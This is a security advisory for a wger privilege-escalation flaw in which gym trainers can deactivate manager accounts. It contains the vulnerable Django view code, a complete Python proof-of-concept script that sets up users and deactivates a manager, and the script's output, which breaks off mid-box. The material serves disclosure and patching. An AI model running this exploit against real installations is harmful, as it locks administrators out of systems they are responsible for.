--- id: "CVE-2026-46434" kind: "vulnerability" aliases: ["CVE-2026-46434", "GHSA-x249-cx55-2h87"] title: "wger: Trainer Privilege Escalation - Improper Privilege Management" severity: "high" cvss: 7.1 epss: 0.00221 exploited: false status: "open" category: "package" products: [{"name": "wger", "fixed": [], "affected": "<= 2.1", "ecosystem": "pypi"}] ecosystems: ["pypi"] tags: ["cwe-269", "django", "gym-management", "package", "python", "self-hosted", "wger"] not_affected_if: ["no-gym-trainer-role", "no-shared-gym-membership", "single-user-install"] published_at: "2026-10-07T13:59:14+00:00" first_seen_at: "2026-10-26T15:48:54+00:00" updated_at: "2026-10-26T15:51:02+00:00" sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-x249-cx55-2h87", "first_seen_at": "2026-10-26T15:48:54+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46434", "first_seen_at": "2026-10-26T16:02:26+00:00"}] --- # wger: Trainer Privilege Escalation - Improper Privilege Management A user with only the gym trainer role can deactivate any account in the same gym, including gym manager and general gym manager accounts. The attacker can lock gym administrators out until a superuser or general gym manager reactivates them. _Summary, check and fix written by a model from the sources; labelled as such._ ## Affected - pypi:wger affected <= 2.1 fixed ? ## How to check - Check the installed version with `pip show wger` and compare it to the affected range (`<= 2.1`). - Look for users in the gym_trainer group who share a gym with users in the gym_manager or general_gym_manager groups. - Review `wger/core/views/user.py` for the `UserDeactivateView` and `UserActivateView` dispatch methods and check whether a privilege check exists. ## Fix - Upgrade wger past `2.1`. The fixed version is unknown from the sources. - Add a privilege hierarchy check to `dispatch()` in both `UserDeactivateView` and `UserActivateView` so trainers cannot target managers or other trainers, as the advisory's proposed patch shows. - Review trainer role assignment, since `get_permission_list()` in `wger/gym/helpers.py` always lets managers assign the trainer role. ## Timeline - 2026-10-26T15:48:54+00:00 ghsa https://github.com/advisories/GHSA-x249-cx55-2h87 - 2026-10-26T16:02:26+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2026-46434 ## From the sources ### Summary A user with only the `gym_trainer` permission can deactivate any account in the same gym, including `gym_manager` and `general_gym_manager` accounts. The `UserDeactivateView` grants access to anyone holding **any one** of `gym.manage_gym`, `gym.manage_gyms`, or `gym.gym_trainer` (OR logic via `WgerMultiplePermissionRequiredMixin`), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one. ### Details `UserDeactivateView` (file: `wger/core/views/user.py`, line 378) is configured with: ```python permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer') ``` `WgerMultiplePermissionRequiredMixin` (file: `wger/utils/generic_views.py`, line 48) treats this tuple as an OR check -- any single permission is sufficient: ```python class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin): def has_permission(self): for permission in self.get_permission_required(): if self.request.user.has_perm(permission): return True # <-- ANY one permission is enough return False ``` The `dispatch()` method only verifies same-gym membership: ```python def dispatch(self, request, *args, **kwargs): edit_user = get_object_or_404(User, pk=self.kwargs['pk']) if ( request.user.has_perm('gym.manage_gym') or request.user.has_perm('gym.gym_trainer') ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id: return HttpResponseForbidden() # NO check: is the target user more privileged than the requester? return super().dispatch(request, *args, **kwargs) ``` There is **no check** preventing a trainer from targeting a manager. The same vulnerability exists in `UserActivateView` (line 415). An additional contributing factor: `get_permission_list()` in `wger/gym/helpers.py` (line 102) **always** includes `'trainer'` in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them. ### PoC #### Prerequisites - A gym with at least two users: one with `gym_manager` role (victim) and one with `gym_trainer` role (attacker) - Both users belong to the same gym #### Attack Steps ``` # As the trainer, simply visit: GET /en/user//deactivate ``` The manager's account is immediately set to `is_active = False`. The manager can no longer log in. #### Proof of Concept Script ```python #!/usr/bin/env python3 """ PoC: Trainer -> Manager Privilege Escalation (Account Deactivation) Target: wger Workout Manager Severity: HIGH - CVSS 6.5 CWE-269: Improper Privilege Management Usage: python3 poc.py http://localhost:8000 """ import requests import sys import re if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} ") print(f"Example: {sys.argv[0]} http://localhost:8000") sys.exit(1) BASE = sys.argv[1].rstrip("/") API = f"{BASE}/api/v2" MANAGER_USER = "gym_manager_poc" MANAGER_PASS = "Manager!Poc!2025" TRAINER_USER = "evil_trainer_poc" TRAINER_PASS = "Trainer!Poc!2025" BANNER = """ ===================================================================== PoC: Trainer -> Manager Privilege Escalation Severity: HIGH CWE-269: Improper Privilege Management ===================================================================== """ print(BANNER) # ---- Helper ---- def api_login(username, password): r = requests.post(f"{API}/login/", json={ "username": username, "password": password }) if r.status_code == 200: return r.json().get("token") return None def api_headers(token): return {"Authorization": f"Token {token}", "Content-Type": "application/json"} # ---- Setup via Django ORM (must run inside container) ---- import os, django os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main' sys.path.insert(0, '/home/wger/src') django.setup() from django.contrib.auth.models import User, Group from wger.gym.models import Gym # Ensure permission groups exist for name in ['gym_member', 'gym_trainer', 'gym_manager', 'general_gym_manager']: Group.objects.get_or_create(name=name) # Create gym gym, _ = Gym.objects.get_or_create(name="PoC Test Gym") print(f"[*] Gym: {gym.name} (id={gym.id})") # Create manager (the VICTIM) manager, created = User.objects.get_or_create( username=MANAGER_USER, defaults={"is_active": True} ) if created: manager.set_password(MANAGER_PASS) manager.save() manager.userprofile.gym = gym manager.userprofile.save() manager.groups.clear() manager.groups.add(Group.objects.get(name='gym_manager')) manager.is_active = True manager.save() print(f"[*] Manager (victim): {manager.username} (id={manager.id})") print(f" Groups: {[g.name for g in manager.groups.all()]}") print(f" is_active: {manager.is_active}") # Create trainer (the ATTACKER) trainer, created = User.objects.get_or_create( username=TRAINER_USER, defaults={"is_active": True} ) if created: trainer.set_password(TRAINER_PASS) trainer.save() trainer.userprofile.gym = gym trainer.userprofile.save() trainer.groups.clear() trainer.groups.add(Group.objects.get(name='gym_trainer')) print(f"[*] Trainer (attacker): {trainer.username} (id={trainer.id})") print(f" Groups: {[g.name for g in trainer.groups.all()]}") # ---- 1. Verify manager is active BEFORE attack ---- manager.refresh_from_db() print(f"\n[*] Manager is_active BEFORE attack: {manager.is_active}") assert manager.is_active, "Manager should be active before test" # ---- 2. ATTACK: Trainer deactivates manager ---- print(f"\n{'='*65}") print(f" ATTACK: Trainer deactivating gym manager account") print(f"{'='*65}") from django.test import Client c = Client() c.force_login(trainer) resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True) print(f"\n GET /en/user/{manager.id}/deactivate") print(f" (Logged in as: {TRAINER_USER} - gym_trainer only)") print(f" Response: HTTP {resp.status_code}") # ---- 3. VERIFY ---- print(f"\n{'='*65}") print(f" VERIFICATION") print(f"{'='*65}") manager.refresh_from_db() print(f"\n Manager is_active AFTER attack: {manager.is_active}") if not manager.is_active: print(""" +----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | | | A gym_trainer successfully deactivated a gym_manager! | | No privilege hierarchy check prevents this. | | The trainer can now lock out all managers from the gym. | +----------------------------------------------------------+ """) manager.is_active = True manager.save() print(" [+] Cleanup: Manager re-activated") else: print("\n Manager is still active - NOT vulnerable") ``` #### Proof of Concept Output ``` ===================================================================== PoC: Trainer -> Manager Privilege Escalation Severity: HIGH CWE-269: Improper Privilege Management ===================================================================== [*] Gym: PoC Test Gym (id=2) [*] Manager (victim): gym_manager_poc (id=4) Groups: ['gym_manager'] is_active: True [*] Trainer (attacker): evil_trainer_poc (id=5) Groups: ['gym_trainer'] [*] Manager is_active BEFORE attack: True ================================================================= ATTACK: Trainer deactivating gym manager account ================================================================= Trainer login: HTTP 200 GET http://localhost/en/user/4/deactivate (Logged in as: evil_trainer_poc - gym_trainer only) Response: HTTP 200 ================================================================= VERIFICATION ================================================================= Manager is_active AFTER attack: False +----------------------------------------------------------+ | VULNERABILITY CONFIRMED | | --- _Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_